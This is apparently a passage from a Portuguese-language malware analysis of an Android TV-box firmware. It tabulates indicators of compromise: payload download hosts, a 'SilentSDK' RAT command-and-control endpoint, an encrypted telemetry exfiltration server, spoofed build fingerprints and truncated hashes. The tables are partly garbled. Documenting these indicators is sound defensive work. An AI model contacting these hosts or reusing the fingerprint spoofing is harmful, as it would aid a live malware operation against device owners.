store-api.aodintech.com | POST /sign/app/list | Distribuição de Aplicativos |
sta.smartinnovate.net | GET /*.jar | Distribuição de Payload |
cdn-store.aodintech.com | GET /*.bpp | Download de APK |
event-api.aodintech.com | POST /report | Telemetria |
api.pixelpioneerss.com | POST /(random) | SilentSDK RAT C2 |
bur.thedynamicleap.com | POST (GZIP+AES) | Exfiltração de Telemetria do SilentSDK |
pb-api.aodintech.com | GET /api/collections/... | Configuração de Anúncios |
ota.triplesai.com:8080 | POST /V1/Ota/Check | Atualizações de Firmware |
api.ipdatacloud.com | GET /v2/query | Geolocalização IP |
euads-o.api.leiniao.com | — | Servidor de Anúncios Secundário |
connect.rom.miui.com | — | Telemetria Xiaomi |
| Valor Spoofado |
|---|
| Valor Real |
|---|
ro.build.fingerprint | ADT-3/adt3/adt3:11 | — |
ro.product.build.* | — | Allwinner/h713_tuna_p3 |
| Data de Build | — | Ter 22 Abr 15:20 CST 2025 |
| SHA-256 |
|---|
| Resposta do Servidor C2 | 5df097591d694... | — |
| Nosso APK Decodificado | 5df097591d694... | e5a193c31526a... |
| Análise Externa | — | e5a193c31526a... |